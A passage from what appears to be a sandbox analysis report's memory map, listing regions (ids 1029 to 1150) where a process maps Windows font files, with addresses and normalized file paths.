"c:\\windows\\fonts\\britanic.ttf") Region: id = 1029 start_va = 0x440000 end_va = 0x449fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "britanic.ttf" filename = "\\Windows\\Fonts\\BRITANIC.TTF" (normalized: "c:\\windows\\fonts\\britanic.ttf") Region: id = 1030 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsb.ttf" filename = "\\Windows\\Fonts\\BRLNSB.TTF" (normalized: "c:\\windows\\fonts\\brlnsb.ttf") Region: id = 1031 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsb.ttf" filename = "\\Windows\\Fonts\\BRLNSB.TTF" (normalized: "c:\\windows\\fonts\\brlnsb.ttf") Region: id = 1032 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsdb.ttf" filename = "\\Windows\\Fonts\\BRLNSDB.TTF" (normalized: "c:\\windows\\fonts\\brlnsdb.ttf") Region: id = 1033 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsdb.ttf" filename = "\\Windows\\Fonts\\BRLNSDB.TTF" (normalized: "c:\\windows\\fonts\\brlnsdb.ttf") Region: id = 1034 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsr.ttf" filename = "\\Windows\\Fonts\\BRLNSR.TTF" (normalized: "c:\\windows\\fonts\\brlnsr.ttf") Region: id = 1035 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsr.ttf" filename = "\\Windows\\Fonts\\BRLNSR.TTF" (normalized: "c:\\windows\\fonts\\brlnsr.ttf") Region: id = 1036 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "broadw.ttf" filename = "\\Windows\\Fonts\\BROADW.TTF" (normalized: "c:\\windows\\fonts\\broadw.ttf") Region: id = 1037 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "broadw.ttf" filename = "\\Windows\\Fonts\\BROADW.TTF" (normalized: "c:\\windows\\fonts\\broadw.ttf") Region: id = 1038 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brushsci.ttf" filename = "\\Windows\\Fonts\\BRUSHSCI.TTF" (normalized: "c:\\windows\\fonts\\brushsci.ttf") Region: id = 1039 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brushsci.ttf" filename = "\\Windows\\Fonts\\BRUSHSCI.TTF" (normalized: "c:\\windows\\fonts\\brushsci.ttf") Region: id = 1040 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bssym7.ttf" filename = "\\Windows\\Fonts\\BSSYM7.TTF" (normalized: "c:\\windows\\fonts\\bssym7.ttf") Region: id = 1041 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bssym7.ttf" filename = "\\Windows\\Fonts\\BSSYM7.TTF" (normalized: "c:\\windows\\fonts\\bssym7.ttf") Region: id = 1042 start_va = 0x1b0f0000 end_va = 0x1b1a9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 1043 start_va = 0x1b0f0000 end_va = 0x1b1a9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 1044 start_va = 0x1b0f0000 end_va = 0x1b1c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 1045 start_va = 0x1b0f0000 end_va = 0x1b1c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 1046 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califb.ttf" filename = "\\Windows\\Fonts\\CALIFB.TTF" (normalized: "c:\\windows\\fonts\\califb.ttf") Region: id = 1047 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califb.ttf" filename = "\\Windows\\Fonts\\CALIFB.TTF" (normalized: "c:\\windows\\fonts\\califb.ttf") Region: id = 1048 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califi.ttf" filename = "\\Windows\\Fonts\\CALIFI.TTF" (normalized: "c:\\windows\\fonts\\califi.ttf") Region: id = 1049 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califi.ttf" filename = "\\Windows\\Fonts\\CALIFI.TTF" (normalized: "c:\\windows\\fonts\\califi.ttf") Region: id = 1050 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califr.ttf" filename = "\\Windows\\Fonts\\CALIFR.TTF" (normalized: "c:\\windows\\fonts\\califr.ttf") Region: id = 1051 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califr.ttf" filename = "\\Windows\\Fonts\\CALIFR.TTF" (normalized: "c:\\windows\\fonts\\califr.ttf") Region: id = 1052 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calist.ttf" filename = "\\Windows\\Fonts\\CALIST.TTF" (normalized: "c:\\windows\\fonts\\calist.ttf") Region: id = 1053 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calist.ttf" filename = "\\Windows\\Fonts\\CALIST.TTF" (normalized: "c:\\windows\\fonts\\calist.ttf") Region: id = 1054 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistb.ttf" filename = "\\Windows\\Fonts\\CALISTB.TTF" (normalized: "c:\\windows\\fonts\\calistb.ttf") Region: id = 1055 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistb.ttf" filename = "\\Windows\\Fonts\\CALISTB.TTF" (normalized: "c:\\windows\\fonts\\calistb.ttf") Region: id = 1056 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistbi.ttf" filename = "\\Windows\\Fonts\\CALISTBI.TTF" (normalized: "c:\\windows\\fonts\\calistbi.ttf") Region: id = 1057 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistbi.ttf" filename = "\\Windows\\Fonts\\CALISTBI.TTF" (normalized: "c:\\windows\\fonts\\calistbi.ttf") Region: id = 1058 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calisti.ttf" filename = "\\Windows\\Fonts\\CALISTI.TTF" (normalized: "c:\\windows\\fonts\\calisti.ttf") Region: id = 1059 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calisti.ttf" filename = "\\Windows\\Fonts\\CALISTI.TTF" (normalized: "c:\\windows\\fonts\\calisti.ttf") Region: id = 1060 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "castelar.ttf" filename = "\\Windows\\Fonts\\CASTELAR.TTF" (normalized: "c:\\windows\\fonts\\castelar.ttf") Region: id = 1061 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "castelar.ttf" filename = "\\Windows\\Fonts\\CASTELAR.TTF" (normalized: "c:\\windows\\fonts\\castelar.ttf") Region: id = 1062 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "censcbk.ttf" filename = "\\Windows\\Fonts\\CENSCBK.TTF" (normalized: "c:\\windows\\fonts\\censcbk.ttf") Region: id = 1063 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "censcbk.ttf" filename = "\\Windows\\Fonts\\CENSCBK.TTF" (normalized: "c:\\windows\\fonts\\censcbk.ttf") Region: id = 1064 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "centaur.ttf" filename = "\\Windows\\Fonts\\CENTAUR.TTF" (normalized: "c:\\windows\\fonts\\centaur.ttf") Region: id = 1065 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "centaur.ttf" filename = "\\Windows\\Fonts\\CENTAUR.TTF" (normalized: "c:\\windows\\fonts\\centaur.ttf") Region: id = 1066 start_va = 0x5b0000 end_va = 0x5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "century.ttf" filename = "\\Windows\\Fonts\\CENTURY.TTF" (normalized: "c:\\windows\\fonts\\century.ttf") Region: id = 1067 start_va = 0x5b0000 end_va = 0x5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "century.ttf" filename = "\\Windows\\Fonts\\CENTURY.TTF" (normalized: "c:\\windows\\fonts\\century.ttf") Region: id = 1068 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "chiller.ttf" filename = "\\Windows\\Fonts\\CHILLER.TTF" (normalized: "c:\\windows\\fonts\\chiller.ttf") Region: id = 1069 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "chiller.ttf" filename = "\\Windows\\Fonts\\CHILLER.TTF" (normalized: "c:\\windows\\fonts\\chiller.ttf") Region: id = 1070 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "colonna.ttf" filename = "\\Windows\\Fonts\\COLONNA.TTF" (normalized: "c:\\windows\\fonts\\colonna.ttf") Region: id = 1071 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "colonna.ttf" filename = "\\Windows\\Fonts\\COLONNA.TTF" (normalized: "c:\\windows\\fonts\\colonna.ttf") Region: id = 1072 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coopbl.ttf" filename = "\\Windows\\Fonts\\COOPBL.TTF" (normalized: "c:\\windows\\fonts\\coopbl.ttf") Region: id = 1073 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coopbl.ttf" filename = "\\Windows\\Fonts\\COOPBL.TTF" (normalized: "c:\\windows\\fonts\\coopbl.ttf") Region: id = 1074 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtb.ttf" filename = "\\Windows\\Fonts\\COPRGTB.TTF" (normalized: "c:\\windows\\fonts\\coprgtb.ttf") Region: id = 1075 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtb.ttf" filename = "\\Windows\\Fonts\\COPRGTB.TTF" (normalized: "c:\\windows\\fonts\\coprgtb.ttf") Region: id = 1076 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtl.ttf" filename = "\\Windows\\Fonts\\COPRGTL.TTF" (normalized: "c:\\windows\\fonts\\coprgtl.ttf") Region: id = 1077 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtl.ttf" filename = "\\Windows\\Fonts\\COPRGTL.TTF" (normalized: "c:\\windows\\fonts\\coprgtl.ttf") Region: id = 1078 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "curlz___.ttf" filename = "\\Windows\\Fonts\\CURLZ___.TTF" (normalized: "c:\\windows\\fonts\\curlz___.ttf") Region: id = 1079 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "curlz___.ttf" filename = "\\Windows\\Fonts\\CURLZ___.TTF" (normalized: "c:\\windows\\fonts\\curlz___.ttf") Region: id = 1080 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnt.ttf" filename = "\\Windows\\Fonts\\ELEPHNT.TTF" (normalized: "c:\\windows\\fonts\\elephnt.ttf") Region: id = 1081 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnt.ttf" filename = "\\Windows\\Fonts\\ELEPHNT.TTF" (normalized: "c:\\windows\\fonts\\elephnt.ttf") Region: id = 1082 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnti.ttf" filename = "\\Windows\\Fonts\\ELEPHNTI.TTF" (normalized: "c:\\windows\\fonts\\elephnti.ttf") Region: id = 1083 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnti.ttf" filename = "\\Windows\\Fonts\\ELEPHNTI.TTF" (normalized: "c:\\windows\\fonts\\elephnti.ttf") Region: id = 1084 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "engr.ttf" filename = "\\Windows\\Fonts\\ENGR.TTF" (normalized: "c:\\windows\\fonts\\engr.ttf") Region: id = 1085 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "engr.ttf" filename = "\\Windows\\Fonts\\ENGR.TTF" (normalized: "c:\\windows\\fonts\\engr.ttf") Region: id = 1086 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasbd.ttf" filename = "\\Windows\\Fonts\\ERASBD.TTF" (normalized: "c:\\windows\\fonts\\erasbd.ttf") Region: id = 1087 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasbd.ttf" filename = "\\Windows\\Fonts\\ERASBD.TTF" (normalized: "c:\\windows\\fonts\\erasbd.ttf") Region: id = 1088 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasdemi.ttf" filename = "\\Windows\\Fonts\\ERASDEMI.TTF" (normalized: "c:\\windows\\fonts\\erasdemi.ttf") Region: id = 1089 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasdemi.ttf" filename = "\\Windows\\Fonts\\ERASDEMI.TTF" (normalized: "c:\\windows\\fonts\\erasdemi.ttf") Region: id = 1090 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eraslght.ttf" filename = "\\Windows\\Fonts\\ERASLGHT.TTF" (normalized: "c:\\windows\\fonts\\eraslght.ttf") Region: id = 1091 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eraslght.ttf" filename = "\\Windows\\Fonts\\ERASLGHT.TTF" (normalized: "c:\\windows\\fonts\\eraslght.ttf") Region: id = 1092 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasmd.ttf" filename = "\\Windows\\Fonts\\ERASMD.TTF" (normalized: "c:\\windows\\fonts\\erasmd.ttf") Region: id = 1093 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasmd.ttf" filename = "\\Windows\\Fonts\\ERASMD.TTF" (normalized: "c:\\windows\\fonts\\erasmd.ttf") Region: id = 1094 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "felixti.ttf" filename = "\\Windows\\Fonts\\FELIXTI.TTF" (normalized: "c:\\windows\\fonts\\felixti.ttf") Region: id = 1095 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "felixti.ttf" filename = "\\Windows\\Fonts\\FELIXTI.TTF" (normalized: "c:\\windows\\fonts\\felixti.ttf") Region: id = 1096 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "forte.ttf" filename = "\\Windows\\Fonts\\FORTE.TTF" (normalized: "c:\\windows\\fonts\\forte.ttf") Region: id = 1097 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "forte.ttf" filename = "\\Windows\\Fonts\\FORTE.TTF" (normalized: "c:\\windows\\fonts\\forte.ttf") Region: id = 1098 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabk.ttf" filename = "\\Windows\\Fonts\\FRABK.TTF" (normalized: "c:\\windows\\fonts\\frabk.ttf") Region: id = 1099 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabk.ttf" filename = "\\Windows\\Fonts\\FRABK.TTF" (normalized: "c:\\windows\\fonts\\frabk.ttf") Region: id = 1100 start_va = 0x5b0000 end_va = 0x5d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabkit.ttf" filename = "\\Windows\\Fonts\\FRABKIT.TTF" (normalized: "c:\\windows\\fonts\\frabkit.ttf") Region: id = 1101 start_va = 0x5b0000 end_va = 0x5d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabkit.ttf" filename = "\\Windows\\Fonts\\FRABKIT.TTF" (normalized: "c:\\windows\\fonts\\frabkit.ttf") Region: id = 1102 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradm.ttf" filename = "\\Windows\\Fonts\\FRADM.TTF" (normalized: "c:\\windows\\fonts\\fradm.ttf") Region: id = 1103 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradm.ttf" filename = "\\Windows\\Fonts\\FRADM.TTF" (normalized: "c:\\windows\\fonts\\fradm.ttf") Region: id = 1104 start_va = 0x470000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmcn.ttf" filename = "\\Windows\\Fonts\\FRADMCN.TTF" (normalized: "c:\\windows\\fonts\\fradmcn.ttf") Region: id = 1105 start_va = 0x470000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmcn.ttf" filename = "\\Windows\\Fonts\\FRADMCN.TTF" (normalized: "c:\\windows\\fonts\\fradmcn.ttf") Region: id = 1106 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmit.ttf" filename = "\\Windows\\Fonts\\FRADMIT.TTF" (normalized: "c:\\windows\\fonts\\fradmit.ttf") Region: id = 1107 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmit.ttf" filename = "\\Windows\\Fonts\\FRADMIT.TTF" (normalized: "c:\\windows\\fonts\\fradmit.ttf") Region: id = 1108 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahv.ttf" filename = "\\Windows\\Fonts\\FRAHV.TTF" (normalized: "c:\\windows\\fonts\\frahv.ttf") Region: id = 1109 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahv.ttf" filename = "\\Windows\\Fonts\\FRAHV.TTF" (normalized: "c:\\windows\\fonts\\frahv.ttf") Region: id = 1110 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahvit.ttf" filename = "\\Windows\\Fonts\\FRAHVIT.TTF" (normalized: "c:\\windows\\fonts\\frahvit.ttf") Region: id = 1111 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahvit.ttf" filename = "\\Windows\\Fonts\\FRAHVIT.TTF" (normalized: "c:\\windows\\fonts\\frahvit.ttf") Region: id = 1112 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdcn.ttf" filename = "\\Windows\\Fonts\\FRAMDCN.TTF" (normalized: "c:\\windows\\fonts\\framdcn.ttf") Region: id = 1113 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdcn.ttf" filename = "\\Windows\\Fonts\\FRAMDCN.TTF" (normalized: "c:\\windows\\fonts\\framdcn.ttf") Region: id = 1114 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "freescpt.ttf" filename = "\\Windows\\Fonts\\FREESCPT.TTF" (normalized: "c:\\windows\\fonts\\freescpt.ttf") Region: id = 1115 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "freescpt.ttf" filename = "\\Windows\\Fonts\\FREESCPT.TTF" (normalized: "c:\\windows\\fonts\\freescpt.ttf") Region: id = 1116 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frscript.ttf" filename = "\\Windows\\Fonts\\FRSCRIPT.TTF" (normalized: "c:\\windows\\fonts\\frscript.ttf") Region: id = 1117 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frscript.ttf" filename = "\\Windows\\Fonts\\FRSCRIPT.TTF" (normalized: "c:\\windows\\fonts\\frscript.ttf") Region: id = 1118 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ftltlt.ttf" filename = "\\Windows\\Fonts\\FTLTLT.TTF" (normalized: "c:\\windows\\fonts\\ftltlt.ttf") Region: id = 1119 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ftltlt.ttf" filename = "\\Windows\\Fonts\\FTLTLT.TTF" (normalized: "c:\\windows\\fonts\\ftltlt.ttf") Region: id = 1120 start_va = 0x2190000 end_va = 0x21c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugi.ttf" filename = "\\Windows\\Fonts\\GADUGI.TTF" (normalized: "c:\\windows\\fonts\\gadugi.ttf") Region: id = 1121 start_va = 0x2190000 end_va = 0x21c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugi.ttf" filename = "\\Windows\\Fonts\\GADUGI.TTF" (normalized: "c:\\windows\\fonts\\gadugi.ttf") Region: id = 1122 start_va = 0x2190000 end_va = 0x21c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugib.ttf" filename = "\\Windows\\Fonts\\GADUGIB.TTF" (normalized: "c:\\windows\\fonts\\gadugib.ttf") Region: id = 1123 start_va = 0x2190000 end_va = 0x21c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugib.ttf" filename = "\\Windows\\Fonts\\GADUGIB.TTF" (normalized: "c:\\windows\\fonts\\gadugib.ttf") Region: id = 1124 start_va = 0x2190000 end_va = 0x21c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gara.ttf" filename = "\\Windows\\Fonts\\GARA.TTF" (normalized: "c:\\windows\\fonts\\gara.ttf") Region: id = 1125 start_va = 0x2190000 end_va = 0x21c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gara.ttf" filename = "\\Windows\\Fonts\\GARA.TTF" (normalized: "c:\\windows\\fonts\\gara.ttf") Region: id = 1126 start_va = 0x2190000 end_va = 0x21c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garabd.ttf" filename = "\\Windows\\Fonts\\GARABD.TTF" (normalized: "c:\\windows\\fonts\\garabd.ttf") Region: id = 1127 start_va = 0x2190000 end_va = 0x21c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garabd.ttf" filename = "\\Windows\\Fonts\\GARABD.TTF" (normalized: "c:\\windows\\fonts\\garabd.ttf") Region: id = 1128 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garait.ttf" filename = "\\Windows\\Fonts\\GARAIT.TTF" (normalized: "c:\\windows\\fonts\\garait.ttf") Region: id = 1129 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garait.ttf" filename = "\\Windows\\Fonts\\GARAIT.TTF" (normalized: "c:\\windows\\fonts\\garait.ttf") Region: id = 1130 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gigi.ttf" filename = "\\Windows\\Fonts\\GIGI.TTF" (normalized: "c:\\windows\\fonts\\gigi.ttf") Region: id = 1131 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gigi.ttf" filename = "\\Windows\\Fonts\\GIGI.TTF" (normalized: "c:\\windows\\fonts\\gigi.ttf") Region: id = 1132 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gil_____.ttf" filename = "\\Windows\\Fonts\\GIL_____.TTF" (normalized: "c:\\windows\\fonts\\gil_____.ttf") Region: id = 1133 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gil_____.ttf" filename = "\\Windows\\Fonts\\GIL_____.TTF" (normalized: "c:\\windows\\fonts\\gil_____.ttf") Region: id = 1134 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilb____.ttf" filename = "\\Windows\\Fonts\\GILB____.TTF" (normalized: "c:\\windows\\fonts\\gilb____.ttf") Region: id = 1135 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilb____.ttf" filename = "\\Windows\\Fonts\\GILB____.TTF" (normalized: "c:\\windows\\fonts\\gilb____.ttf") Region: id = 1136 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilbi___.ttf" filename = "\\Windows\\Fonts\\GILBI___.TTF" (normalized: "c:\\windows\\fonts\\gilbi___.ttf") Region: id = 1137 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilbi___.ttf" filename = "\\Windows\\Fonts\\GILBI___.TTF" (normalized: "c:\\windows\\fonts\\gilbi___.ttf") Region: id = 1138 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilc____.ttf" filename = "\\Windows\\Fonts\\GILC____.TTF" (normalized: "c:\\windows\\fonts\\gilc____.ttf") Region: id = 1139 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilc____.ttf" filename = "\\Windows\\Fonts\\GILC____.TTF" (normalized: "c:\\windows\\fonts\\gilc____.ttf") Region: id = 1140 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gili____.ttf" filename = "\\Windows\\Fonts\\GILI____.TTF" (normalized: "c:\\windows\\fonts\\gili____.ttf") Region: id = 1141 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gili____.ttf" filename = "\\Windows\\Fonts\\GILI____.TTF" (normalized: "c:\\windows\\fonts\\gili____.ttf") Region: id = 1142 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gillubcd.ttf" filename = "\\Windows\\Fonts\\GILLUBCD.TTF" (normalized: "c:\\windows\\fonts\\gillubcd.ttf") Region: id = 1143 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gillubcd.ttf" filename = "\\Windows\\Fonts\\GILLUBCD.TTF" (normalized: "c:\\windows\\fonts\\gillubcd.ttf") Region: id = 1144 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilsanub.ttf" filename = "\\Windows\\Fonts\\GILSANUB.TTF" (normalized: "c:\\windows\\fonts\\gilsanub.ttf") Region: id = 1145 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilsanub.ttf" filename = "\\Windows\\Fonts\\GILSANUB.TTF" (normalized: "c:\\windows\\fonts\\gilsanub.ttf") Region: id = 1146 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glecb.ttf" filename = "\\Windows\\Fonts\\GLECB.TTF" (normalized: "c:\\windows\\fonts\\glecb.ttf") Region: id = 1147 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glecb.ttf" filename = "\\Windows\\Fonts\\GLECB.TTF" (normalized: "c:\\windows\\fonts\\glecb.ttf") Region: id = 1148 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glsnecb.ttf" filename = "\\Windows\\Fonts\\GLSNECB.TTF" (normalized: "c:\\windows\\fonts\\glsnecb.ttf") Region: id = 1149 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glsnecb.ttf" filename = "\\Windows\\Fonts\\GLSNECB.TTF" (normalized: "c:\\windows\\fonts\\glsnecb.ttf") Region: id = 1150 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothic.ttf" filename = 